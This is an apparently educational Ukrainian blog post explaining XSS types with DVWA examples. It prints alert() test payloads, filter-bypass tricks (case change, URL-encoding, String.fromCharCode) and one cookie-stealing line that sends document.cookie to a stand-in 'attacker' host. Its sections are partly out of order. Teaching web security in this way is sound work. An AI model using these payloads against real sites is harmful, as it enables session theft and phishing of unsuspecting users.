A3: What is XSS
Привіт, вирішив написати цю статейку після конференції qafest, дізнався від слухачів, що багато хто не бачив, як виглядає XSS?
Як її можна знайти? Де можна попрактикуватися у пошуках? Так ось ця стаття присвячується повністю аналізу того, що ж таке XSS і де можна його помацати абсолютно легально, щоб не загриміти за зломи чужих сайтів.
І так:
XSS – це один із типів уразливості Web-програми, який дає атакуючому впровадити свій сценарій у web-сторінки, що переглядаються зовсім іншими користувачами.
Коротко скажу так, що XSS це один із видів уразливості, на сьогодні найпоширеніший вид уразливості у Web-додатках. XSS дозволяє хацкеру вкинути код (скрипт) на сторінку і відправити його назад до браузера користувачеві, де цей код (скрипт) буде екрановано. Причиною появи цієї вразливості, довіра з боку розробника, що користувач не вноситиме будь-яку хрень на сайті.
Що може зробити у своїх цілях хацкер
- Змінити налаштування (типу замінити бекграунд сайту, всунути допустимо на задній фон скрін джой-казино)
- Стирати куки користувача
- Фішинг (пацанчик хацкер може вставити підроблену форму для входу на сторінку, яку ви відвідуєте, використовуючи мандражування DOM, встановивши action атрибути форми на свій власний серваки, потім обдурити користувача для отримання конфіденційної інформації.)
- Розміщувати різну рекламу на сайті, у спливаючих вікнах
- Кейлогер (хацкер може впровадити типу прослуховування дій, що виконують на клавіатурі користувачем, використовуючи addEventListener, а потім відправити всі ці натискання клавіш користувачем на свій серверок, записавши конфіденційну інформацію пацанчика, наприклад, це може бути паролі та номери кредитних карток.
А тепер погнали по самих XSS, їх 3 типи:
- Непостійний (відбитий) XSS
- Постійний (збережений) XSS
- XSS DOM-моделі
Погнали спілкуватися про кожну з неї
1) Непостійний (відбитий) XSS
Це такий вид XSS, що є найпоширенішим на сайтах. Атаку таким типом XSS можна провести, просто підставивши в кінець урла скрипт, при цьому він екрануватиметься браузером, оскільки дані не піддаються обробці. Для наочного вигляду покажу на додаток DVWA для цієї вразливості:
На цей раз ми впроваджуємо JS скрипт (« script»alert("This is a XSS Test")« /script») у полі Message під номером 1, потім тиснемо кнопку під номером 2. У цьому випадку цей скрипт вже потрапляє на сервер, тобто в цьому випадку вікно, яке ми бачили з першого випадку, буде з'являтися завжди при заході на цю сторінку для будь-якого користувача. І відтворюватиметься вікно, поки хтось не почистить значення в базі на сервері, яке впровадили, або не пофіксують саму екранізацію XSS. Зрозуміло тепер, звідки з'являються віконця, коли просто відвідуєш якийсь сайт і за якою схемою працюють зловмисники, знаходять уразливість на сайті, впроваджують скрипт через сайт на сервер, який відтворюватиметься у кожного користувача, який відвідує сайт. Погодьтеся критично бачити на сайті банку якусь рекламу казино)))
3) XSS DOM-моделі
Як відомо, XSS у DOM з'являються на стороні клієнта, під час обробки даних усередині самого JavaScript. Даний тип XSS отримав таку назву, тому, щоб його зробити нам необхідний Document Object Model, як ви зрозуміли це і скорочення DOM. Через нього можна отримати доступ до вмісту HTML і XML-документів, навіть змінювати вміст або структуру, або оформлення таких документів.
1) Приклад Як прикладом XSS у DOM-моделі можна взяти сценарієм, що дозволяє користувачеві вибрати мову інтерфейсу на юайку. Мова за промовчанням передається до URL у параметрі “default”. http://test.site/page.html?default=Ukraine Для того щоб помацати цей тип XSS вразливості в DOM закинемо замість Ukraine запит: http://test.site/page.html?default=« script»alert(HI)« /script» Браузер обробляє цей код і виводить alert(HI).
2) Приклад Допустимо як поцупити куку у користувача за допомогою коду (скрипту). Нам потрібно лише змусити користувача виконати в браузері цей прихований «script»window.location='http://attacker/?cookie='+document.cookie«/script»
Методи обходу фільтрації XSS З існуючих методів, не всі методи фільтрації допомагають захистити ваш сайт від вразливості XSS. Пройдемося ними
1: зміна регістру або (Caps Lock) або перейменування тега
- Допустимо поставили фільтр на "script" у нижньому регістрі. Найпоширеніший метод обходу такої фільтрації це написати «SCRIPT»
- Другий випадок обійти, це додати до початкового тегу « script type=text/javascript» таке значення. У цьому випадку ми також пройдемо фільтрацію. Зрештою у нас буде такий вигляд. «script type=text/javascript»alert("XSS")« /script»
- Третій випадок зробити виклик зміною в тегах « script», а потім наш стандартний алерт, який відображає цю змінну, яку ми викликали перед алертом, матиме такий вигляд. script»var val = 1; alert(val)« /script»
При пошуку XSS не варто алерт прописати слово XSS, так як часто на це слово теж стоїть фільтрація.
2: Декодування та magic quotes - У цьому випадку можна заюзати якийсь URL-encodin, для обходу фільтрації, припустимо зробимо декодування нашого скрипту теж потім впровадимо його на сайт. беремо наш скрипт закидаємо його в декодер, задаємо в ньому той формат у якому ми хочемо зашифрувати, припустимо, я виберу UTF-8 і отримаю у відповідь вже такий скрипт. Нижче вказаний скрін як це виглядає ( %3Cscript%3Ealert%281%29%3C%2Fscript%3E)
Так, розпишу тепер, що тут розмальовано))) У полі 1 нам потрібно вписати JS скрипт (). Потім натиснути на кнопку 2. Після чого ми отримаємо вікно в браузері 3, яке говорить про успішне впровадження xss на сайті, також якщо ми звернемо увагу на урл 4, то він значно змінився з тих пір, як ми ще не вписували скрипт в поле. Це говорить про те, що не відбувається очищення даних у полі "name", які передалися до урли, де браузер відтворив цей скрипт на стороні клієнта. Якщо ж ви перекинете такий урл іншому користувачеві, то у нього буде така картина теж, але якщо ж той користувач прибере скрипт в урлі, то такої проблеми у нього не буде.
За такою схемою якраз і працюють зловмисники, знаходять уразливість і кидають урл, через всякі месенджери та поштовики, зі скриптом, який її відтворює у користувача, які, у свою чергу, не підозрюють, що наприкінці урла шкідливий скрипт
2) Постійний (збережений) XSS
Цей вид XSS вже вважається найбільш руйнівним типом атаки. Цей тип XSS можливий, коли фраєру хацкеру вдається закинути на сервак код (скрипт), що виконується в браузері щоразу при заході на сторінку, яку ви запитували. Найпростішим прикладом цієї вразливості є форуми, на яких можна залишати коментарі в HTML форматі без обмежень. Іншими словами, збережений XSS виникає, коли розробники здійснюють некоректну фільтрацію при збереженні вхідних даних у БД на сервері або при записі цих даних у файли, а потім виводять ці дані в браузер користувачеві.
Прикладом знову стане додаток DVWA.
- Для обходу фільтрації другим способом заюзаємо ASCII-код. Тут ми слово HI у нашому чудовому алерті alert(HI) перекладемо як «72 73». За допомогою функції String.fromCharCode() можна обійтися без лапок. Зрештою у нас скрипт виглядатиме так «script»alert(String.fromCharCode(72, 73)«/script»
Саме таким методом можна оминати фільтрацію magic quotes. Якщо ж вам ліньки шукати їх ручками, то можете перейти на статтю про те, як шукати XSS за допомогою сканера вразливостей OWASP ZAP або BURP SUITE. Після того, як ви ознайомилися з цим усім, можна приступити до практики. Наступну статтю зроблю із сайтом, де можна буде легально попрактикуватися, не завдаючи шкоди для роботи колег